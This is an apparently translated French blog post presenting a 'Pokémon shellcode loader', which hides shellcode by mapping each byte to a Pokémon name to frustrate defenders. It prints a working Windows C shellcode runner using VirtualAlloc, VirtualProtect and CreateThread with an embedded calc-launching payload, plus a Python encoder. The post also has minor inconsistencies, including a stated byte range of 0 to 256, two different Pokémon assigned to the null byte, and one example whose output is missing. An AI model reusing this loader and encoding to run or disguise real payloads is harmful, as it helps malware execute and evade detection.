
Marre de regarder de l'hex toute la journée et de voir des '\x41' ? Vous préférez regarder Lugia/Charmander ? J'ai la solution pour vous.
Marre de regarder de l'hexadécimal toute la journée et de sortir des '\x41' ? Vous préférez regarder Lugia/Charmander ? J'ai la solution pour vous. Un tweet de @Checkymander est arrivé à propos de la création d'un chargeur de shellcode à partir des noms des Pokémon. Un projet très amusant pour embêter la blue team, mais il n'y avait pas de POC ! (ou du moins, lors de ma dernière vérification)
Remarque #1 Le code mis à jour sera sur mon GitHub : https://github.com/Techryptic/Pokemon-Shellcode-Loader
Remarque #2 GitBooks : https://techryptic.gitbook.io/pokemon-shellcode
Remarque #3 GitPages : https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Il y a plusieurs façons de faire cela :
Si l'on regarde un shellcode, c'est une série de valeurs hexadécimales de 0x00 à 0xFF, soit sous forme décimale de 0 à 256. Il se trouve qu'il y a bien plus de 256 Pokémon parmi lesquels choisir.
En regardant le tableau des Pokémon ci-dessus, on peut traduire BULBASAUR, qui est #001, en 0x01 (en retirant le premier zéro). De même, CHARMANDER sera représenté par 0x04 et ainsi de suite. L'heureux octet nul 0x00 peut être aligné sur le Pokémon #257, BLAZIKEN !
Convertir un shellcode en Pokemon-Shellcode est simple. Et pourquoi ne pas convertir du Pokemon-Shellcode en Assembly ?! Veut-on un Array dans le .ASM ? Du code C ? Le récupérer en externe ?
Beaucoup de directions possibles !
Il nous faut des données. Tout d'abord, j'ai trouvé deux sources qui contiennent à la fois le numéro du Pokémon et son nom :
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
Et une autre qui ne contient que le nom du Pokémon. Cela peut être plus utile car on peut obtenir la position de l'index dans le tableau pour un Pokémon donné sans avoir à transporter une longue chaîne.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
Je prends un shellcode POP CALC classique et je lui ajoute un peu de C.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Pas mal. Il ne fait rien de malveillant, mais quand même... pas mal.
Un script simple convertit un objet octet de shellcode en Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
En prenant le shellcode ci-dessus :
\x00\x31\xc0\x50\x68\x2f\x2F
Se convertit en :
Fait amusant : je voulais garder le nom du Pokémon aligné avec son numéro (BULBASAUR = #1, ou 0x01), il fallait donc remplir l'octet nul 0x00 avec quelque chose. Quoi de mieux que MISSINGNO ?!
Un autre problème est que le Pokémon Farfetch'd contient une apostrophe, comme illustré ci-dessous. La solution simple est de la retirer et de l'appeler : Farfetchd
Enfin, il y a aussi deux Pokémon qui partagent le même nom une fois les symboles retirés ; pour ces deux-là, la solution a été d'ajouter un F (pour femelle), et pour l'autre un M (pour mâle).